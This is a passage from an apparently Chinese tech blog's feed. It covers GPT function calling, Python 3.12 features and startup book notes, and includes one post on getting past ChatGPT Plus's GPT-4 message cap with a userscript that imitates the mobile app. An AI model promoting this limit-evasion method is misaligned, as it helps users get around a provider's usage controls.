        &lt;span class="s2"&gt;&amp;quot;role&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;assistant&amp;quot;&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;],&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;gpt 给我们返回的message中有&lt;code&gt;function_call&lt;/code&gt; 字段，而且 arguments 里面提取了city_name这个字段的值。&lt;/p&gt;
&lt;p&gt;第二步：从返回结果中提取参数后调用函数， 这个过程不是交给gpt处理，而是由开发者自己调用该函数，gpt做的事情是把函数需要的参数提取出来。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;message&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;choices&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;message&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;function_call&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;function_call&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;function_call&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;arguments&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;function_call&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;arguments&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;arguments&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;loads&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arguments&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;function_response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;get_weather&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;city_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;arguments&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;city_name&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;function_response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;function_response&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;注意，这里要将函数调用返回的结果做一些json转换&lt;/p&gt;
&lt;p&gt;第三交步：把返回结果给gpt做总结归纳&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;second_response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;openai&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ChatCompletion&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;create&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;gpt-3.5-turbo-0613&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;messages&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;
            &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;role&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;user&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;content&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;深圳今天的天气?&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
            &lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="s2"&gt;&amp;quot;role&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;function&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="s2"&gt;&amp;quot;name&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;get_weather&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="s2"&gt;&amp;quot;content&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;function_response&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="p"&gt;},&lt;/span&gt;
        &lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;second_response&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;注意messages列表中最后一条消息中&lt;code&gt;role&lt;/code&gt;角色是 function， 最后得到的结果&lt;code&gt;second_response&lt;/code&gt;中的content内容为：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;深圳今天的天气是大雨，气温为&lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="err"&gt;℃，风向是西北风，风力为&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="err"&gt;级，湿度为&lt;/span&gt;&lt;span class="mi"&gt;95&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="err"&gt;。&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;最后，我们把逻辑集成到我们微信中得到的效果是这样的：&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230615094319668" src="images/image-20230615094319668.png"&gt;&lt;/p&gt;
&lt;p&gt;完整源代码：https://gist.github.com/lzjun567/04310ae22dc80005997179c1e591b397&lt;/p&gt;</content><category term="思考"/><category term="chatgpt"/></entry><entry><title>Python3.12新特性</title><link href="https://foofish.net/python3.12-new-features.html" rel="alternate"/><published>2023-06-12T15:25:23+08:00</published><updated>2023-06-12T15:25:23+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-06-12:/python3.12-new-features.html</id><summary type="html">&lt;p&gt;6月11，Python发布了3.12的beta版本3.12.0b2，预计在7月31日发布RC版。语法层面上新增了一些特性，整体的性能也得到了一定的提升，这里介绍几个使用的语法特性。&lt;/p&gt;
&lt;h3&gt;1、提 …&lt;/h3&gt;</summary><content type="html">&lt;p&gt;6月11，Python发布了3.12的beta版本3.12.0b2，预计在7月31日发布RC版。语法层面上新增了一些特性，整体的性能也得到了一定的提升，这里介绍几个使用的语法特性。&lt;/p&gt;
&lt;h3&gt;1、提供了错误消息的可读性&lt;/h3&gt;
&lt;p&gt;在3.11及以前版本，如果模块没有导入时的错误提示时，只告诉你报错原因&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;version_info&lt;/span&gt;
&lt;span class="n"&gt;Traceback&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;most&lt;/span&gt; &lt;span class="n"&gt;recent&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;stdin&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="ne"&gt;NameError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;sys&amp;#39;&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;defined&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;现在，它还会告诉你修改建议&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;version_info&lt;/span&gt;
&lt;span class="n"&gt;Traceback&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;most&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;recent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;File&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;lt;stdin&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="n"&gt;NameError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;sys&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;is&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;not&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;defined&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Did&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;you&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;forget&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;sys&amp;#39;&lt;/span&gt;&lt;span class="err"&gt;?&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;比如代码中提示&lt;code&gt;sys&lt;/code&gt;没有被定义，会问题是不是忘记import了。其实这种错误，先进一点的IDE都会自动帮你导入了。但对新手来说还是比较友好的。&lt;/p&gt;
&lt;h3&gt;2、增强的f-string&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;f-string&lt;/code&gt;早在3.6就引入的一种字符出格式化方法，也被称为格式化字符串常量，相比老式的格式化方法简洁很多。现在3.12版本中又增强了。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;songs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Take me back to Eden&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;Alkaline&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;Ascensionism&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;This is the playlist: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;, &amp;quot;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;songs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;这段代码在3.11会提示语法错误，在字符串中不允许相同的引号同时存在字符串中，如果外层是双引号，里面必须是用单引号，例如：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;This is the playlist: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;, &amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;songs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;现在就不存在这个问题了，你甚至可以多个引号对同时存在，例如：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;不过从可读性角度来说，这么多引号放一起看起来有点晕。&lt;/p&gt;
&lt;h3&gt;3、新增override装饰器&lt;/h3&gt;
&lt;p&gt;@override在Java中出现过，这个装饰器的用途是当子类的方法想覆盖父类方法的默认实现时，可通过这个装饰器来表示，用来告诉编译器，这是一个被重写的方法，当子的该方法被调用时，不要再去调父类的方法了，现在Python也可以这么用了。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;typing&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;override&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Base&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_color&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;blue&amp;quot;&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;GoodChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Base&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="nd"&gt;@override&lt;/span&gt;  &lt;span class="c1"&gt;# ok: overrides Base.get_color&lt;/span&gt;
  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_color&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;yellow&amp;quot;&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;BadChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Base&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="nd"&gt;@override&lt;/span&gt;  &lt;span class="c1"&gt;# type checker error: does not override Base.get_color&lt;/span&gt;
  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_colour&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;red&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;注意，override 修饰错了方法也不会导致程序报错，Python动态语言特性的缘故，静态类型检查只是一种建设性的提示，只有在做类型检查的时候才会提示错误。类型检查这块，Python其实都是从静态语言中参考过来的，代码中加入类型检查，“重构火葬场”的场面基本可以宣告终止了。&lt;/p&gt;
&lt;p&gt;完整特性请参考：https://docs.python.org/dev/whatsnew/3.12.html&lt;/p&gt;</content><category term="Python"/><category term="python"/></entry><entry><title>如何无限制使用GPT4模型？</title><link href="https://foofish.net/use-gpt4-without-limit.html" rel="alternate"/><published>2023-06-09T20:00:01+08:00</published><updated>2023-06-09T20:00:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-06-09:/use-gpt4-without-limit.html</id><summary type="html">&lt;p&gt;我们知道Plus用户使用GPT4是有限制的，就是每3小时内最多25次提问，一旦超出这个数量就只能使用默认的GPT3模型或者等3小时过后重新使用GPT4，有没有办法突破这种限制呢？&lt;/p&gt;
&lt;p&gt;答案是肯定的&lt;/p&gt;
&lt;p&gt;因为在iOS端ChatGPT的GPT4是不受次数限制的，所以 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;我们知道Plus用户使用GPT4是有限制的，就是每3小时内最多25次提问，一旦超出这个数量就只能使用默认的GPT3模型或者等3小时过后重新使用GPT4，有没有办法突破这种限制呢？&lt;/p&gt;
&lt;p&gt;答案是肯定的&lt;/p&gt;
&lt;p&gt;因为在iOS端ChatGPT的GPT4是不受次数限制的，所以我们可以通过插件配合脚本在浏览器里面也能模拟APP的环境，最终达到无限制使用GPT4的功能。&lt;/p&gt;
&lt;h3&gt;安装Tampermonkey（油猴）插件&lt;/h3&gt;
&lt;p&gt;首先安装&lt;code&gt;Tampermonkey&lt;/code&gt;浏览器扩展插件，地址：https://chrome.google.com/webstore/detail/tampermonkey/dhdgffkkebhmkfjojejmpbldmpobfkfo&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230427001814511" src="../../images/image-20230427001814511.png"&gt;&lt;/p&gt;
&lt;p&gt;插件安装成功后，再安装&lt;code&gt;ChatGPT开启不限次数的GPT4-Mobile&lt;/code&gt; 脚本，下载链接：&lt;a href="https://hd.nowcoder.com/link.html?target=https://greasyfork.org/en/scripts/467317-chatgpt开启不限次数的gpt4-mobile"&gt;https://greasyfork.org/en/scripts/467317-chatgpt开启不限次数的gpt4-mobile&lt;/a&gt; 。打开链接点“安装此脚本”按钮。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230609195240591" src="../../images/image-20230609195240591.png"&gt;&lt;/p&gt;
&lt;p&gt;现在回到ChatGPT网站，你会发现主页多了一种模型：GPT4-Mobile&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230609194330019" src="../../images/image-20230609194330019.png"&gt;&lt;/p&gt;
&lt;p&gt;最后来检测一下到底是不是真正的GPT4。我们不能直接问它是哪个模型，不管是GPT4还是GPT3，它都会回答是GPT3，因为它训练的数据截止是2021年，而GPT4今年才出。&lt;/p&gt;
&lt;p&gt;我们可以换其它问题来问，比如问它：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;鲁迅为什么暴打周树人
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;GPT3.5效果&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230609194827740" src="../../images/image-20230609194827740.png"&gt;&lt;/p&gt;
&lt;p&gt;GPT4-Mobile效果：&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230609194927440" src="../../images/image-20230609194927440.png"&gt;&lt;/p&gt;
&lt;p&gt;需要注意的是，该模型仅针对Plus用户开放，普通帐号即使安装了该插件也不会有该模型。&lt;/p&gt;
&lt;p&gt;最后推荐加入我的知识星球【ChatGPT研究社】，里面不仅有ChatGPT的保姆级教程还有ChatGPT相关的应用案例、副业案例、创业案例、商业价值分享、以及ChatGPT工具开发教程，现在加入即可获取的一个ChatGPT账号。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230330011719223" src="../../images/image-20230330011719223.png"&gt;&lt;/p&gt;</content><category term="思考"/><category term="chatgpt"/></entry><entry><title>极简创业</title><link href="https://foofish.net/simple-and-beautiful-startup.html" rel="alternate"/><published>2023-06-09T00:24:01+08:00</published><updated>2023-06-09T00:24:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-06-09:/simple-and-beautiful-startup.html</id><summary type="html">&lt;p&gt;在读《小而美-持续盈利的经营法则》这本书，记录一下&lt;/p&gt;
&lt;p&gt;现在我也算是一个小创业者，读这本书有太多感同身受的地方。所以非 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;在读《小而美-持续盈利的经营法则》这本书，记录一下&lt;/p&gt;
&lt;p&gt;现在我也算是一个小创业者，读这本书有太多感同身受的地方。所以非常推荐这本书给那些正在做副业或者已经把副业当作主业来做的初创者。&lt;/p&gt;
&lt;p&gt;这本书提到一个观点，互联网1%的人创作内容，9%的人贡献内容，90%的人消费内容，所谓贡献内容通常指贡献评论、点赞、收藏等，通过创作建立自己的影响力，随着时间的推移，它会产生飞轮效应，这个观点放在我身上就特别贴切。&lt;/p&gt;
&lt;p&gt;我创业的种子应该是从知乎开始萌芽的，因为本身是程序员，所以经常会在知乎做内容分享，回答问题，有些回答几千赞，都是正儿八经的干货内容。虽然知乎变现不怎么样，但是公众号变现能力非常强，通过知乎导流给公众号，积累了第一批忠实粉丝，两年多时间公众号就积累了十几万粉丝，靠广告推广就变了7位数以上。&lt;/p&gt;
&lt;p&gt;对于如何找到创业点子这个问题时，书上告诉我们可以从社区着手，那里有兴趣、价值观、技能相同但又有所不同的个体组成。除了社区，也可以去尝试解决你自己的问题，如果你有一个问题，其他人可能也有。 比如我开发的次幂数据平台就是在这样的背景下诞生的，因为自己有运营公众号，同时我加入了一些公众号运营群，长期观察下来公众号运营有个问题就是他们每天都要去找文章素材，另外公众号为了涨粉他们经常会和别的公众号进行互推，而互推可能有人会刷阅读量，为了解决公众号运营者们的这些问题，我就开发了这样一个数据平台，提供公众号数据分析、热门文章查询、文章阅读量监控等功能，一年几百块钱的会员费对公众号运营者来说就像是捡了大便宜，因为我帮他们解决了一个大问题。&lt;/p&gt;
&lt;p&gt;要收费，多少都行。用户会对免费的东西趋之若鹜，即使这并不是他们想要的。如果免费给用户使用，你很难判断产品是否真的对用户有价值，只有用户愿意真金白银掏钱购买你的产品，才能证明产品的价值，当然产品通过MVP验证OK后，后面可以考虑免费增值模式。&lt;/p&gt;
&lt;p&gt;雇佣软件而不是人，因为软件很便宜，但人力很贵。这点对老板们来说越早意思到这点越好，我们的一位企业客户就很会算账，因为要采集我们数据，最终找我们来合作而不是自己去研发，因为自己研发成本巨高，而直接采购我们的服务，还不到一个人的工资成本就把问题解决了，何乐而不为呢。&lt;/p&gt;
&lt;p&gt;不要花钱做营销。产品推出后，少了不营销，但是作为一个初创者，最好不要花钱去做营销，免费的大平台，微信、知乎、抖音、twitter等都是你的免费流量池，从建立粉丝开始，慢慢地培养最终成为你的客户。&lt;/p&gt;
